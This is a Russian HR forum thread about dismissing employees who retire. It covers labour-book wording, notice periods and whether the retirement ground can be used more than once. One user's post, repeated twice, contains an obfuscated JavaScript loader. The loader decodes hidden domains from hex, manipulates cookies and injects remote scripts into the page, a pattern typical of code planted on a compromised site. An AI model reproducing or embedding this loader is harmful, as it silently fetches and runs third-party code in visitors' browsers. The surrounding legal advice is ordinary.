Тема форума: Увольнение в связи с уходом на пенсию | Форумы "Кадровое делопроизводство" | Сообщение № 223330
  RSS
Увольнение в связи с уходом на пенсию
 
Добрый день специалисты! Помогите правильно оформить документы. В моей практике это впервые. Работник доработал до пенсии и решил уволиться.
Работник написал заявление- "Прошу уволить в связи с выходом на пенсию".
Какую запись я должна сделать в трудовой книжке и что является основанием для издания приказа (достаточно ли только заявления от работника или надо еще пенсионное удостоверение (копия) (где стоит отметка о назаначении). Спасибо.
Ответы
 
nadinkor, если до этого момента она не увольнялась "в связи с выходом на пенсию" (в трудовой такой формулировки нет) - следовательно можете смело писать!

Цитата
nadinkor пишет:
Нашей работнице 55 лет, на пенсию она ушла в 50,
в смысле ушла? в 50 лет ей была назначена пенсия? но работать она продолжила?
 
да у нас на Севере пенсия у женщин с 50 назначается . И продолжала работать.
 
nadinkor, у нас на Севере тоже так:D Ну, вот и получается, что в 50 лет - ей эту пенсию назначили, но человек продолжил работать, то есть "выхода на пенсию" не было. А теперь она увольняется, и такая формулировка вполне уместна.
Кстати, потом она при желании снова может устроиться на работу - вот потом уже второй раз она с такой формулировкой уволиться не сможет, ибо как мне сказали в ГИТ "уйти на пенсию можно только один раз"
 
Цитата
Blond007 пишет:
ибо как мне сказали в ГИТ "уйти на пенсию можно только один раз"
Это мнение ВАШЕГО ГИТ (к сожалению, в ГИТ дают порой неверные разъяснения), а в целом по стране единого мнения нет, так как нет четкого толкования в законе. Есть и такая точка зрения, что работодатель не имеет права отказывать работнику пенсионного возраста в формулировке " в связи с выходом на пенсию" столько раз , сколько он захочет. Поэтому (раз нет единого законного мнения) лучше находить общий язык с работником и договариваться - чтобы все были довольны, а не категорически настаивать на своем мнении.
 
Цитата
Снеженка пишет:
в целом по стране единого мнения нет, так как нет четкого толкования в законе.
Ну это не проблема, очень много тем где нет однозначного ответа.

Цитата
Снеженка пишет:
Есть и такая точка зрения, что работодатель не имеет права отказывать работнику пенсионного возраста в формулировке " в связи с выходом на пенсию" столько раз , сколько он захочет.
Но это не говорит о том, что она верная, ведь так? Выход на пенсию, т.е. её оформление возможно только один раз, далее могут быть перерасчёты, пенсионер может выйти на работу, но он всё остаётся пенсионером. Отсюда вывод следует, что выйти на пенсию и следовательно уволиться по выходу на пенсию, возможно один раз. Как ни крути, а это события взаимосвязаны. При этом я не отрицаю возможности, если он не воспользовался этой возможностью ранее, использовать позднее, но один раз.
Да и полагаю, что в случае оспаривания шансы работника близки к нулю, если он этим правом уже воспользовался. А уж тем более к чему упираться рогом пенсионерам, когда имеется статья 128 ТК РФ, которая им в помощь при согласовании срока предупреждения об увольнении и является сильным аргументом.

Цитата
Снеженка пишет:
лучше находить общий язык с работником и договариваться - чтобы все были довольны, а не категорически настаивать на своем мнении.
Вот это действительно лучший вариант, полностью согласен. :handshake:
Но хватает, прости господи, юристов дающих "дурные" советы работникам и те упираются рогом, хотя не понятна причина и выгода. Остаётся только разъяснять, разъяснять и разъяснять работникам их права и ОБЯЗАННОСТИ.
 
Цитата
Серега пишет:
Но это не говорит о том, что она верная, ведь так?
Поскольку нет единой, то нельзя сказать какая из них правильная - обе равнозначны))))) Вы высказали свое мнение, я свое - противоположное. Один судья будет сторонник Вашей точки зрения - другой моей. Все будет зависеть от красноречивости и убедительности доказывающей стороны)))))))

Цитата
Серега пишет:
А уж тем более к чему упираться рогом пенсионерам, когда имеется статья 128 ТК РФ, которая им в помощь при согласовании срока предупреждения об увольнении и является сильным аргументом.
Вот с этим категорически не согласна. Это называется "притянуть за уши", ибо четко видна фальсификация : работник хочет УВОЛИТЬСЯ, но , если работодатель возражает против незамедлительного увольнения, ВЫНУЖДЕН брать отпуск без сохранения. А по закону этот отпуск возможен лишь ПО СОБСТВЕННОМУ желанию. Полагаю всем понятна разница между "вынужден" и "сам хочет".
 
Подскажите пожалуйста ,сотрудница пенсионер 59 лет, написала заявление на увольнение по собст.желанию с 30.04.2015г.
Само заявление, дата 28.04.2015 г. Возможно уволить без отработки? Если возможно по какой статье ? И с какой формулировкой в ТК?
 
333444, правильно сделали, что в форуме вопрос задали. А то в чате отвечаю и понимаю, что Вы не увидите - там сохраняется определенное количество сообщений.




Цитата
333444 пишет:
заявление на увольнение по собст.желанию с 30.04.2015г.
Переписать нужно заявление. В заявлении не пишется С - указывается дата увольнения (последний рабочий день) . То есть "Прошу уволить меня по собственному желанию 30 апреля 2015 года". Все.


Цитата
333444 пишет:
по какой статье ?
Естественно по п.3 части 1 статьи 77 - ведь это собственное желание


Цитата
333444 пишет:
с какой формулировкой в ТК?
Если заявление сформулировано так, как я написала выше, то и запись обычная "Трудовой договор расторгнут по инициативе работника, пункт 3 части первой статьи 77 Трудового кодекса Российской Федерации". А если в заявлении есть приписка "в связи с выходом на пенсию", то и в трудовой нужно дополнить после "по инициативе работника" словами "в связи с выходом на пенсию".
 
Спасибо за помощь, Вы мне очень помогли. Опыта мало по этому профилю работ. УДАЧНОГО ДНЯ!
 
Цитата
Снеженка пишет:
работник хочет УВОЛИТЬСЯ, но , если работодатель возражает против незамедлительного увольнения, ВЫНУЖДЕН брать отпуск без сохранения.
В таком случае возникает вопрос: как быть в ситуации, когда работающий пенсионер подает заявление на увольнение сегодняшним днем за полчаса до окончания сегодняшнего рабочего дня. Как бы имеет же право уволиться в требуемый срок...
 
Цитата
Гость пишет:
как быть в ситуации, когда работающий пенсионер подает заявление на увольнение сегодняшним днем за полчаса до окончания сегодняшнего рабочего дня
Как и в любом другом случае - издавать приказ, делать расчет, вносить запись в трудовую и т.д. Ну или, если не можете работать быстро, уговаривать работника написать заявление с датой, чтобы успели раскачаться должностные лица вашей организации.
 
Подскажите пожалуйста ,сегодня уволила по собственному желанию работающего пенсионера 59 лет,женщина.
Утром предупредила ,сегодня Ваш последний день , вечером зайдите за трудовой книжкой и подписаться.
Человек скандальный.
Она средний мед персонал. И сертификат закончился(действует 5 лет). то, есть она не имеет право работать в медицине . Попросили по собственному. За трудовой не пришла,по телефону ответила придет после праздников. Я ей Уведомление(уволены зайдите за расчетом и трудовой ) телеграммой с уведомленим о получении. Сейчас позвонили с почты и сказали пытались телеграмму передать,спросила откуда .Услышав ,что из больницы отказалась получать телеграмму.
Что мне будет? Что делать?
 
333444, нужно было не телеграммой, а пойти на почту и отправить ценное заказное письмо (с уведомлением и описью) - и все, можно было бы о ней больше не вспоминать. Но это не смертельно. Утром 5 мая сразу бегом на почту. Даже если она подаст в суд, за 1 день просрочки - копейки . Так что спокойно отдыхайте выходные.
 
Цитата
333444 пишет:
Сейчас позвонили с почты и сказали пытались телеграмму передать,спросила откуда .У
Кстати, почта должна Вам дать письменный ответ об этой ситуации - так же 5 числа к ним идите, они оформят этот ответ - что пытались доставить и адресат отказался получать. Так что даже за этот день никакой просрочки не будет.
 
Снеженка , спасибо большое. Так и сделаю.
 
Здравствуйте. 03.10.15 отцу исполняется 60 лет, работает по графику 2/2, смены выпадают 3 и 4 октября (суббота и воскресенье). Хотел бы уволиться 03.10.15 и 4 числа уже не работать. Но в ОК написал заявление об увольнении по СЖ с выходом на пенсию с 05.10.15., т.к. 3,4 у них выходной. Возможно все же уволиться 03.10. и как правильно это сделать? Как должны все оформить, какими датами и выдать расчет и тр. книжку?
wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="22214",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
 
Добрый день! Подскажите пожалуйста. Преподаватель,мужчина ,скандальный (как оказалось) 65 лет. 1,5года назад сообщил ,что уйдет на пенсию ,как только его ученица получит диплом и придет на его место. В этом году она пришла мы её приняли ,а он заявил ,что увольняться не собирается. Что мне делать, у меня нет соответствующей нагрузки на 2-х преподавателей.
 
тусCя, , ждать когда уволиться преподаватель.
Просто так вы же его не уволите, насильно.
Или проведите процедуру сокращения штатов.
 
Здравствуйте. 03.10.15 отцу исполняется 60 лет, работает по графику 2/2, смены выпадают 3 и 4 октября (суббота и воскресенье). Хотел бы уволиться 03.10.15 и 4 числа уже не работать. Но в ОК написал заявление об увольнении по СЖ с выходом на пенсию с 05.10.15., т.к. 3,4 у них выходной. Возможно все же уволиться 03.10. и как правильно это сделать? Как должны все оформить, какими датами и выдать расчет и тр. книжку?

wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="22214",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
 
Статья 14 Трудового кодекса РФ Если последний день срока приходится на нерабочий день, то днем окончания срока считается ближайший следующий за ним рабочий день
 
Цитата
Lushka пишет:
03.10.15 отцу исполняется 60 лет, работает по графику 2/2, смены выпадают 3 и 4 октября (суббота и воскресенье). Хотел бы уволиться 03.10.15 и 4 числа уже не работать.
3 октября он достиг пенсионного возраста. Но написать заявление об этом РАНЬШЕ такого срока он не может. То есть - заявление он должен писать примерно с такой формулировкой "Прошу Вас уволить меня в связи с выходом на пенсию...." и заявление конечно же пишется ДО даты увольнения - то есть до 3 октября. Но до 3 октября у него нет права увольнения по данному основанию. Надеюсь, понятно сформулировала? ))))))
 
Цитата
Вадим А пишет:
Трудовое законодательство не предусматривает такого основания для увольнения работника, как достижение им пенсионного возраста. Поэтому работника, вышедшего на пенсию, но продолжающего трудиться в организации, можно уволить лишь на общих основаниях, предусмотренных для всех работников ст. 77 ТК РФ (Трудовой кодекс РФ). Одним из оснований является увольнение по собственному желанию (п. 3 части первой ст. 77 ТК РФ (Трудовой кодекс РФ)).

В соответствии с частью пятой ст. 84.1 ТК РФ (Трудовой кодекс РФ) запись в трудовую книжку об основании и о причине прекращения трудового договора должна производиться в точном соответствии с формулировками Трудового кодекса РФ или иного федерального закона и со ссылкой на соответствующие статью, часть статьи, пункт статьи Трудового кодекса РФ или иного федерального закона. При увольнении работника по собственному желанию в трудовой книжке необходимо ссылаться на пункт 3 части первой ст. 77 ТК РФ (Трудовой кодекс РФ).

Учитывая положения п. 5.2 Инструкции по заполнению трудовых книжек, утв. постановлением Минтруда России от 10 октября 2003 г. N 69 (далее - Инструкция), в трудовую книжку работника, находящегося на пенсии и увольняющегося по собственному желанию, необходимо внести запись следующего содержания: "Уволен по собственному желанию, пункт 3 части первой статьи 77 Трудового кодекса Российской Федерации".

В соответствии с пунктом 5.6 Инструкции при расторжении трудового договора по инициативе работника по причинам, с которыми законодательство связывает предоставление определенных льгот и преимуществ, запись об увольнении вносится в трудовую книжку с указанием этих причин.

По общему правилу работник должен в письменной форме предупредить работодателя о своем желании расторгнуть трудовой договор не позднее чем за две недели (часть первая ст. 80 ТК РФ (Трудовой кодекс РФ)). Однако согласно части третьей ст. 80 ТК РФ (Трудовой кодекс РФ) в случае, когда заявление работника об увольнении по собственному желанию обусловлено невозможностью продолжения работы в связи с выходом на пенсию, работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.

Таким образом, если Ваш работник просит уволить его именно в связи с выходом на пенсию и указывает это в своем заявлении, то в трудовой книжке работника необходимо внести запись следующего содержания: "Уволен по
Цитата
собственному желанию в связи с выходом на пенсию, пункт 3 части первой статьи 77 Трудового кодекса Российской Федерации". При этом работодатель не имеет права требовать от работника соблюдения двухнедельного срока предупреждения об увольнении и должен уволить его именно той датой, которая указана в заявлении.З
Здравствуйте!Работая на предприятии работник вышел на пенсию,но в связи с выходом на пенсию,непосредственно после даты выхода не уволился.Должен ли работодатель уволить работника без отработки
,если тот напишет заявление об увольнении в связи с выходом на пенсию через год после даты выхода?
Изменено: boris_pp - 23.10.2015 19:13:16(Ошибка в тексте)
 
Да, boris_pp, работодатель должен уволить работника без отработки, даже "если тот напишет заявление об увольнении в связи с выходом на пенсию через год после даты выхода".
Если вы и есть тот пенсионер, который собирается уволиться без отработки, то не злоупотребляйте своим правом без надобности, не надо приносить заявление за полчаса до окончания последнего рабочего дня. Напишете заявление хотя бы за 2-3 дня до увольнения, чтобы работодатель спокойно, без аврала, мог выполнить свою обязанность по оформлению увольнения, выплате расчета и выдаче трудовой книжки в день увольнения.
http://www.kadrovik-praktik.ru/communication/forum/forum3/topic22339/#postform

24 И фарисеи сказали Ему: смотри, что они делают в субботу, чего не должно делать?
27 И сказал им: суббота для человека, а не человек для субботы; (Евангелие от Марка, гл.2
 
boris_pp, , должен. Увольнение по этому основанию производится только один раз, как в вашем случае. Если он придёт к другому р-дателю, то вновь уволиться по обстоятельства не зависящим от воли сторон (наступление пенсионного возраста ), уже не сможет.
 
Доброго всем времени суток!
У меня такой вопрос. Я кадровик-новичок. Год назад уволился работник после выхода на пенсию. То есть отработав еще пару месяцев написал заявление. Прошел год и подняв все документы я обнаружила ошибки. Подскажите, кто виноват, я или кто-то еще?
Заявление написано "Прошу уволить по собственному желанию". Приказ соответственно "п.3 ч.1 ст.77 расторгнут по инициативе работника". Но я, как кадровик, знаю, что увольняется в связи с выходом на пенсию (он и стол накрывал всей конторе), пишу в трудовой книжке "Уволен по собственному желанию в связи с выходом на пенсию, п.3ч.1ст.77 ТК РФ".
Рассудите, пожалуйста, кто виноват, в чем и возможно ли что-то исправить?
Изменено: milly13 - 15.12.2015 13:23:37
Читают тему
Форма ответов
 
Текст сообщения*
Перетащите файлы
Ничего не найдено
Файл